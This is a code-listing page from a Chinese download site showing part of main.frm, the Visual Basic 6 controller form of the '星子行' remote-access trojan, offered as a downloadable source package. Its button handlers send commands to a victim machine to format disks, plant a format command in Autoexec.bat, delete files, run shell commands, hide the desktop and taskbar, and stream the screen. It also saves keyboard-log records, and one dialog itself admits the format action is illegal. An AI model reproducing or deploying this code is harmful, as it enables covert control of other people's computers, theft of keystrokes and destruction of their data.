main.frm

来自「星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V」· FRM 代码 · 共 2,195 行 · 第 1/5 页

FRM

2,195 行


Private Sub Command14_Click()
Box3.Text = ""
End Sub

Private Sub Command15_Click()

On Error GoTo Dlgerr

     Dlg1.filename = "键盘操作信息记录"
 
     Dlg1.Filter = "(*.txt)|*.txt|"

     Dlg1.ShowSave

   Open Dlg1.filename For Output As #1

   Print #1, Box3.Text

   Close #1

   MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"

Exit Sub

Dlgerr:

End Sub

Private Sub Command16_Click()
Call Sendinfor("Msgbox1" & Text1.Text)
End Sub

Private Sub Command17_Click()

Call Combo_m

End Sub

Private Sub Command18_Click()

On Error GoTo sc

If Box2.Text = "" Then

MsgBox "发送内容不能空！", 64, "提示"

Else

          Call Sendinfor("Msgwins" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLf)

          Box1.Text = Box1.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLf

          Box2.Text = ""

      Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "信息发送成功！" & "(" & Time$ & ")" & vbCrLf

End If

sc:

End Sub

Private Sub Command19_Click()
Box1.Text = ""
Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "清空内容成功！" + "(" + Time$ + ")" + vbCrLf
End Sub

Private Sub Command2_Click()
On Error Resume Next

'List1.Clear

For i = 1 To UBound(Sac)
     If Not i = index Then
     If Sac(i) Then
     
        Scmnet1(i).Close
        
       DoEvents
      End If
     End If
   Next i
   
End Sub

Private Sub Command20_Click()

On Error GoTo Dlgerr

     Dlg1.filename = "聊天信息记录"
     
     Dlg1.Filter = "(*.txt)|*.txt|"

     Dlg1.ShowSave

   Open Dlg1.filename For Output As #1

   Print #1, Box1.Text

   Close #1

   MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"

Exit Sub

Dlgerr:

End Sub

Private Sub Command21_Click()

On Error GoTo sc

If Box6.Text = "" Then

MsgBox "发送内容不能空！", 64, "提示"

Else
 
 For i = 1 To UBound(Sac)
     If Not i = index Then
     If Sac(i) Then
     
         Scmnet1(i).SendData "Messgim" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLf
         
       DoEvents
      End If
     End If
   Next i
   
   Box5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLf
   
   Box6.Text = ""

      Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "聊天室信息发送成功！" & "(" & Time$ & ")" & vbCrLf

End If



a1 = 2

If a1 = 2 Then

Else

sc:

 'MsgBox "没有用户在线！", 64, "提示"

 Box5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLf
   
 Box6.Text = ""

End If

End Sub

Private Sub Command22_Click()
Box5.Text = ""
Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "清空内容成功！" + "(" + Time$ + ")" + vbCrLf
End Sub

Private Sub Command23_Click()

On Error GoTo Dlgerr

     Dlg1.filename = "聊天室信息记录"

     Dlg1.Filter = "(*.txt)|*.txt|"
     
     Dlg1.ShowSave

   Open Dlg1.filename For Output As #1

   Print #1, Box5.Text

   Close #1

   MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"

Exit Sub

Dlgerr:

End Sub

Private Sub Command26_Click()

Call Sendinfor("Sabeep1" & Text18.Text)

End Sub

Private Sub Command27_Click()

Dim Ft1 As Long

Dim a1 As Long, b1 As Long

On Error GoTo Beeperr

Ft1 = Text18.Text
  
  Do While Ft1 > 0
  
  
  a1 = CLng(Text19.Text) '频率
  b1 = CLng(Text20.Text) '长度
  
  APIBeep a1, b1
  
  Ft1 = Ft1 - 1
  
   Sleep 200
   
  Loop
  
  Exit Sub
  
Beeperr:

End Sub

Private Sub Command28_Click()
Call Sendinfor("Showtas")
End Sub

Private Sub Command29_Click()
Call Sendinfor("Hidestc")
End Sub

Private Sub Command3_Click()
Call Sendinfor("Hidedes")
End Sub

Private Sub Command30_Click()
Call Sendinfor("Showstc")
End Sub

Private Sub Command31_Click()

Call Sendinfor("Wallpap" & "F:\星子行开发工程\星子行(开发)\客户端\1.JPG")

End Sub

Private Sub Command32_Click()
Call Sendinfor("Delwall")
End Sub

Private Sub Command33_Click()


If Option4.Value = False And Option5.Value = False And Option6.Value = False Then
       
       Rscreen.Color1 = 1
    
       ElseIf Option4.Value = True Then
       
       Rscreen.Color1 = 0
       
       ElseIf Option5.Value = True Then
       
        Rscreen.Color1 = 1
       
       ElseIf Option6.Value = True Then
       
       Rscreen.Color1 = 2
        
        Else
        
        End If

With Rscreen.Scmnet5
.Close
.LocalPort = "8000"
.Listen

End With

Call Sendinfor("Portfo2")
End Sub

Private Sub Command34_Click()

  Rscreen.udp6 = "8823"
  Rscreen.udp7 = "8824"

Rscreen.Scmnet6.Close
Rscreen.Scmnet7.Close

Call Sendinfor("Udpport" & Rscreen.udp6)
End Sub

Private Sub Command4_Click()
Call Sendinfor("Showdes")
End Sub

Private Sub Command40_Click()

If Conhosn <> "" Then
''''''''''''''''''''''''''''''''''''''''''''''

If MsgBox("请注意！此操作存在违法行为,可能带来严重损失和后果！" + vbCrLf + "造成一切后果和损失请自行负责,与本公司一切联系无关！" + vbCrLf + "请慎重考虑再使用！" + vbCrLf + "是否进行格式化？" + vbCrLf + "格式化请按“是”" + vbCrLf + "不格式化请按“否”", vbYesNo, "警告") = vbYes Then  '格式化

If Combo3.Text <> "磁盘" Then


    If Option7.Value = True Then
 
    Call Sendinfor("Formatc" & Combo3.Text)

    ElseIf Option8.Value = True Then
   
    Call Sendinfor("Formatd" & Combo3.Text)

    Else
    
    MsgBox "请确定格式化的方式！", 64, "提示"

    End If

Else

MsgBox "请选择一个磁盘！", 64, "提示"

End If

Else '格式化

End If '格式化
''''''''''''''''''''''''''''''''''''''''''''''''''''''
Else
MsgBox "还没连接主机！", 64, "提示"
End If

End Sub

Private Sub Command41_Click()


If Conhosn <> "" Then
''''''''''''''''''''''''''''''''''''''''''''''''''''

If Option7.Value = True Then
 
    Call Sendinfor("Wriautf")
    
    Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "已发送快速格式化命令种子:Autoexec.bat" + "(" + Time$ + ")" + vbCrLf

    ElseIf Option8.Value = True Then
   
     Call Sendinfor("Wriautg")
    
    Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "已发送完全格式化命令种子:Autoexec.bat" + "(" + Time$ + ")" + vbCrLf

    Else
    
    MsgBox "请确定种下格式化的方式！", 64, "提示"

    End If
    ''''''''''''''''''''''''''''''''''''''''''''''''''''
    Else
MsgBox "还没连接主机！", 64, "提示"
End If

End Sub

Private Sub Command42_Click()
Call Sendinfor("Cmdcoms" & Dos1)
End Sub

Private Sub Command43_Click()
Call Sendinfor("DELETEF" & Text3.Text)
End Sub

Private Sub Command44_Click()

 If Conhosn <> "" Then

  ''''''''''''''''''''''''''''''''''''''''''''
Select Case Combo4.Text


Case "例:入侵主机,重启"
Call Sendinfor("Closecp")

Case "重启(远程主机选择执行)"

Call Sendinfor("Comaub1" & Text7.Text)


End Select
''''''''''''''''''''''''''''''''''''''''''''''

Else
MsgBox "还没连接主机！", 64, "提示"
End If

End Sub

Private Sub Command45_Click()

Select Case Combo4.Text

Case "例:入侵主机,重启"

If MsgBox("有一台主机入侵本机,是否允许？" + vbCrLf + "不允许主机入侵系统会自动重启,开机后主机自动入侵成功！", vbYesNo, "非法入侵") = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 MsgBox "预览不关服务端系统！", 48, "提示"
 
 End If
 
 Case "重启(远程主机选择执行)"
 
 If MsgBox(Text8.Text, vbYesNo, Text7.Text) = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 MsgBox "预览不关服务端系统！", 48, "提示"
 
 End If
 
End Select


End Sub

Private Sub Command46_Click()
Call Sendinfor("OPENFIL" & Text3.Text)
End Sub

Private Sub Command48_

main.frm - 源码说明

本页面展示了「星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反」中的 main.frm 源码文件，采用 FRM 编程语言编写，共 2,195 行代码。您可以在线阅读完整代码内容，也可以返回资源详情页下载完整源码包进行本地学习和开发。

虫虫下载站收录了大量与2.0相关的技术资源，包括源代码、技术文档、电路图等，是电子工程师和嵌入式开发者的专业学习平台。

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?